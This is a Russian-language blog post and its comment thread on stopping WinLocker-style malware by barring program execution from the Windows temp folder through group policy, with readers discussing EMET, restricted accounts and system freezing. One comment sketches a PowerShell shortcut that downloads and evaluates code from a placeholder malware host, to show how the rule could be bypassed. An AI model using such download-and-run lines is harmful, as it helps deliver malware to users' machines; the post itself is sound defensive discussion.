Так ли страшны новые эксплоиты, если их не видит антивирус?

Каждый раз, открывая Internet Explorer браузер, кто-то из вас панически боится подхватить очередной вирус… Но так ли это на самом деле? Неужели все мы беззащитны от таких вещей?

Все, о чем говорится в статье, относится к Windows-based системам

Вместо вступления

Так уж исторически сложилось, что за компьютером кроме меня сидят и другие члены моей семьи. Однажды включив его утром, ко мне в монитор постучался привет от WinLocker'a… ну как так могло произойти, подумал я, ведь у меня стоял антивирус с самыми последними базами который эту гадость пропустил… а кто-то сидящий быть может еще и запустил. И да, браузер был IE9.
С Winlocker'ом я справился, и даже поинтересовался сколько антивирусов его ловило в тот момент (только 1 ).

Нет blue pill, которая бы так взяла и защитила вас от экслоита. Если он есть, то, в 70% случаев его очень тщательно продумали (привет, metasploit и иже с ним) и, увы, операционная система и антивирус ( если он вообще есть ) беззащитны…

Но что же делать с оставшимися 30% написанными на коленке? Неужели можно защитить себя от таких новшеств, как обфусцированные WinLocker'ы и другая малварь?

Ближе к делу

До этого момента, я знал несколько путей для предотвращения заражения:
  • используем HIDS ( обычно используется ка проактивная защита — когда ваш антивирус/фаервол мониторит систему и говорит что такой-то файл хочет что-то сделать )
  • используем более надежный браузер (Chrome? )
  • sandbox (или это уже устарело? )
  • корпоративные клиенты конечно могут использовать еще что-то вроде Honey-pot'ов для вылавливания новой неизвестной малвари в процессе анализа трафика
  • набор средств от майкрософт — EMET (спасибо, Speedimon ) — программа, которая предотвращает эксплуатирование уязвимостей в программном обеспечении
  • конечно, может быть еще привязка IPS системы


Я отказался использовать методы, описанные выше (в частности, HIDS ).

Групповые политики

Ведь есть еще один (конечно, не панацея) интересный трюк… который доступен в Windows
Путем анализа WinLocker'а было четко видно что он закачался автоматом в папку %Temp% (у меня Win7 -> %appdata%\..\Local\Temp), откуда и запускался, используя autorun запись в реестре.
Ответ лежал на поверхности. — так запретим же запуск файлов из папки TEMP!

Делаем простые 4 шага:

  1. Открываем Групповые политики системы (gpedit.msc)
  2. Конфигурация компьютера — Параметры безопасности — Политики ограниченного использования программ
  3. Создаем дополнительное правило для пути
  4. Вводим нужный нам путь, выбираем уровень безопасности Запрещено — и вуаля! Теперь программа никогда не запустится с этого пути


Read, write access будет, но не будет доступа на выполнение — даже несмотря на то что вы сидите с правами администратора — лично было проверено мной при проверке автозагрузки этого же Winlocker'a с папки Temp.

Если вам нужно что-то запустить, вы всегда можете поменять уровень безопасности для этой политики.

Надеюсь, этот дополнительный метод кому-нибудь поможет… К тому же, просматривая лог приложений журнала Windows по источнику SoftwareRestrictionPolicies ( код события 866 ) я уже наглядно вижу что для моего ПК это не прошло зря, ведь за ним сидят неопытные пользователи, использующие IE9 IE10.

UPD:
Спасибо за критику и высказывания в комментариях. интересно, что после написания статьи, зловред до сих пор детектят только 22 из 46 антивирусных компаний.

UPD2:
спасибо shanker и ApeCoder за комментарий по поводу сомнительности в том, действительно ли это эксплоит.
Этот Winlocker попал в систему путем эксплуатации уязвимости CVE-2012-4969
Его анализ от lavasoft можно найти тут
AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Подробнее
Реклама

Комментарии 52

    0
    «Ведь есть еще один (конечно, не панацея) интересный трюк… который доступен в Windows»
    Сидеть под ограниченной учетной записью и не отключать UAC.
      0
      спасибо за 1й комментарий

      UAC никогда не отключен. Учетная запись — соглашусь частично. ведь файлу не надо многое чтобы попытаться запуститься из-под ограниченной учетной записи с папки TEMP а потом эксплуатировать уязвимость повышения привилегий.
      Ведь еще конечно можно ограничить права на запись в ветки реестра… но это уж 100% не выход
        0
        Как-то раз «перебдел» — запретил на запись в реестре в папки Run и RunOnce — огрёб геморрой с установкой «дров» от HP — с большим трудом выяснил (setup.exe что-то нечленораздельно мычал) причину.
      +2
      Можно конечно поступать и так, но подходит только для определенного класса эксплоитов. Намного надежнее установить и настроить EMET. Есть несколько очень неплохих статей по нему — вот самая новая, в ней ссылки на «прошлые серии».
        0
        интересно, добавлю в топик, но это может ограничить функционал уже существующих программ, как говорит microsoft.

        Используемые в наборе средств EMET технологии снижения опасности могут быть несовместимы с некоторыми приложениями, поскольку блокируют важные для них функции. Перед развертыванием набора средств EMET в рабочей среде, тщательно испытайте его на всех целевых компьютерах с помощью тестовых сценариев. Технологии снижения опасности, которые вызывают проблемы, можно отключить. Дополнительные сведения см. в руководстве пользователя, которое устанавливается вместе с набором средств EMET.
          0
          Ну так все подряд можно и не включать, даже наоборот, придется указать что конкретно мы защищаем. В топике был указан IE — он, понятное дело, совместим на 100%. С другими браузерами ситуация разная, но вроде текущие stable-версии поддерживают уже полностью.
            0
            попробую его установить, посмотрим что с этого будет. ( и да, для IE9 даже по умолчанию был включен DEP режим + Protected mode… и все равно ведь не спасает. )
        +2
        Файл можно записать не во временную папку, а в любой пользовательский каталог. Те локеры что я встречал использовали домашний каталог пользователя
          0
          уязвимость кот-я использовалась в IE — первоначально файл сохраняется в %temp%. Потом. когда файл сам начинает себя запускать из папки %temp% — он перемещает себя не в папку %temp%, а в другой любой пользовательский каталог.
          0
          Путем анализа WinLocker'а было четко видно что он закачался автоматом в папку %appdata%\..\Local\Temp


          Это что за папка такая? Может, Вы имели ввиду %temp%
          ?
            0
            да. спасибо. собственно одно и то же
              0
              Ну, не совсем. %temp% ведёт в разные пути на XP и Windows Vista\7. Вы как раз привели пример для Vista\7
                0
                да! спасибо за поправку…
            0
            Ответ лежал на поверхности. — так запретим же запуск файлов из папки TEMP!

            Я так понимаю, что тут возникнут проблемы при использовании различных программ, к которым мы привыкли. Например, WinRAR. При запуске файлов из архивов (даже если текстовый в архиве) он как раз копируется в папку %temp% и от туда запускается
              +1
              Проблем будет очень много. Куда всем инсталляторам копировать временные бинарники?

              Я бы еще запретил ОЗУ. :)
                0
                Ну, положим, скопировать туда они при таких настройках смогут. А вот запустить — нет.
                  0
                  Установщику нужно скопировать себя (чтобы диск, например, сменить). Потому это будет головной болью.
                  0
                  Инсталляторы запускать от админа и оставлять ему права на запуск из темпа.
                  0
                  с WinRar у меня проблем небыло. если есть проблемы с программой — вам (Win7) в моем случае — четко выдает сообщение что такая-то программа не может запуститься… и да… тогда я иду обратно в групповые политики, и меняю правило на «Неограниченный»… потом меняю обратно… но что делать, если вы хотите себя обезопасить? ( и да, не всегда нужно быть таким параноиком )
                  +2
                  Где-то на просторах интернета вычитал, что вместо антивируса под XP нудно сделать:
                  1. Лишить юзера прав админа. Напрочь. Нет, ему для работы никогда не понадобятся права (дебильный узкоспециализированный софт не в счёт)
                  2. Позволить юзеру запускать программы только от туда, куда он не может писать (Windows и Program files)
                  3. Запретить запуск программ оттуда, куда юзер может писать (флешки и т.п.)

                  Как правило, последует следующий диалог:
                  Юзер: Вася, мне срочно нужны админские права!
                  Админ: Мариванна/Пёртиваныч, Вам НЕ НУЖНЫ админские права
                  Юзер: срочно мне давай админские права! Я буду жаловаться директору!
                  Админ: я установлю Вам любой софт по служебке от директора
                  … тишина…
                    +1
                    сочувствую тем, кто работает в такой организации
                      0
                      а зачем бухгалтеру админские права?
                        0
                        хитрые, устаревшие, неподдерживаемые клиентбанки, работающие годами, например, написанные через такую задницу, что перенос их на другую машину грозит полной неработоспособностью. Я на сталкивался уже с ними.
                          +1
                          Ну. Это исключения «под служебку».
                          А всякие шимы не умеют с этим бороться?
                            +1
                            там на хр не всегда можно 2/3 сп ставить в некоторых клиентбанках, помню навозились один раз
                            я такие вещи обычно старасю вынести в отдельную подсеть + влан, сделать имидж каким-нить акронисом
                            и выпускать в инет на айпишники серверов клиентбанка с переводом данной машины в разряд клиент-банк-софт — онли, без всяких офисов/кодеков/флешей/жав и прочего шлака.
                              0
                              это просто прописывается в ИТ политиках приказом по компании.
                          0
                          Так это правильная политика — админские права есть у админов и хелпдеска, всё.
                          Исключения типа инженеров СЦ, которые пачками прошивают оборудование, те же мобильники или модемы, или программисты, которым иногда надо подключиться, ввести админский логин для установки нового софта, всё.
                          WSUS решает…
                          0
                          У меня вопрос такой — может ли в этой схеме юзер создать ярлык на программу и ее запустить?
                            0
                            нет, система определяет при запуске непосредственно exe-файла — можно или нет запустит ь по такому-то пути.
                              0
                              Тогда малварь вполне может быть написана на vbs / js / powershell / cmd в параметрах запуска?
                                0
                                Ну, если быть таким дотошным, то regedit.exe, cmd.exe,cscript.exe,wscript.exe. powershell.exe можно запретить. Кто-то скажет о невозможности запуска прикладных «костылей» — так и не надо этих костылей на машине НЕРАЗРАБОТЧИКА, т.е. обычного пользователя.
                                  0
                                  Я не админ, но везде, где я работал были логон скрипты. С другой стороны, получается что это зависит от софта — уверен ли ты, например, что это перечисление софта исчерпывает весь список того, что может навредить при запуске с какими-то параметрами.

                                  Вообще было бы интересно увидеть инструкцию, как просто сделать «бабушкоустойчивую» конфигурацию. (Юзер может сделать все что угодно, но сломать систему не может и не может скачать и запустить исполняемый файл)
                                  0
                                  Скрипты нужно подписывать и запрещать запуск неподписанных.
                                    0
                                    Я имею ввиду создания ярлыка, в котором написано что-то типа powershell eval(webClient.downloadSting(http://малварь.рф))
                            –7
                            Меня одного бесит, когда зачеркивают слова, которые случайно вырвались?
                              +3
                              Похоже, что да
                              +1
                              отличный способ сохранять систему в рабочем состоянии, особенно когда пользователей несколько — Shadow Defender.
                              ставите чистую систему, весь необходимый софт, далее «замораживаем» системный раздел дефендером. при каждой перезагрузке система возвращается в исходное состояние. хоть пять винлокеров запустите. этот способ работает на 100%
                                0
                                Именно так я и поборол свой первый Винлокер, откатом системы.
                                  0
                                  Половина современного шлака лезет в точки отката и пишется туда, зная что там чёрт ногу сломит.
                                  Я из точек отката системы доставал до 30% тел разнообразной гадости, пока не повыкушивали все cureit'ом.
                                0
                                Скажите, а вы точно знаете что наткнулись на zero day уязвимость, а не просто, кто-то другой запустил установщик локера? Было ли всключено автообновление? Как локеру удалось захватить именно вашу учетную запись?
                                  0
                                  А где Вы видите чтоб речь шла про zero day уязвимость?
                                    0
                                    Судя по «уязвимость кот-я использовалась в IE — первоначально файл сохраняется в %temp%» уязвимость была не закрыта — вот и интересно по какой причине — вендор не закрыл или вендор не знал или автор отключил автообновление или еще что.
                                      0
                                      скажем так — 90% предположение что файл не запускался кем-то специально.
                                      По поводу заплаток от майкрософта — всем нам известно что у них даже критический уязвимости фиксятся согласно планам и как правило накопительные обновления выпускаются несколько позже, в запланированную дату. смотрите Microsoft Security Bulletin
                                        0
                                        Вот, если бы автор статьи выяснил, что это zero day или, хотя бы известная дыра на которую заплатка не вышла. И привёл бы факты, это доказывающие — это было бы интересно. А так получается вот что: откуда файл и как попал в систему — не выяснено. Предлагаемый вариант защиты, мягко говоря, вызывает вопросы и кучу нареканий. Подробностей выковыривания зловреда тоже нет. Что интересного в статье — неясно. Вот и результат голосования за топик всё это подтверждает
                                          0
                                          статья была не про то как я «выковыривал» зловред, а про то как предотвратить заражение если он все же попал в систему.
                                          Про вариант защиты — ведь ясно было написано — что это не панацея.

                                          В статье описан еще один способ для предотвращения заражения путем ограничения запуска с использованием групповой политики, быть может это было интересно тем 32 человекам, которые оставили статью в избранном.

                                          В любом случае — спасибо за критику и комментарии, учту в будущем.
                                            +1
                                            не поленился найти именно для вас описание что этот вирус эксплуатирует уязвимость системы для IE9

                                            www.lavasoft.com/mylavasoft/malware-descriptions/blog/backdoorwin32poisontrojanwin32genericbt

                                            www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4969

                                              0
                                              Сходив по ссылкам получается, что кумулятивное обновление вышло 21 сентября technet.microsoft.com/en-us/security/bulletin/ms12-063

                                              А когда примерно было заражение? И еще вы не ответили, было ли включено автообновление винды
                                                0
                                                Сейчас вирусописатели новую фишку просекли — вместо того, чтобы искать всякие 0-дей уязвимости просто ждут очередных патчей, реверсят их и используют закрываемые ими дырки — всё равно полинтернета не обновляется по каким-то своим дурацким соображениям.
                                                  0
                                                  Ну, прям у нас вин локеры zeroday повсеместно использовали. Не пугайте народ почём зря. Тот кто имеет зиродай не будет его юзать в обычном вин локере. Это очень глупо.
                                                  Да и реверсить патчи вряд ли станут — зачем, если всё из метасплоита взять можно? Экономия кучи времени и сил.
                                                    0
                                                    Я и не говорю, что использовали, и я не про винлокеры конкретно, я о тенденции в целом, зачем искать зиродей рядовым вирусописателям, если можно взять готовое? Только готовое для всех разное — для кого-то это значит есть в метасплоите, для кого-то это отреверсить патч (проще ведь, чем искать дырку самому).
                                                      0
                                                      Это всё теоретические размышления.На практике имеем вот что: отреверсить не так просто, как звучит. И даже после нахождения баги большой вопрос создания более менее стабильного эксплоита. В этом плане метасплоит намного лучше подходит: там уже и с системами добились стабильности и универсальности, и даже комменты есть по ходу самого сплоита.
                                                        0
                                                        Надо сделать антивирус юзая метасплоит в качестве базы сигнатур :)

                                  Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                  Самое читаемое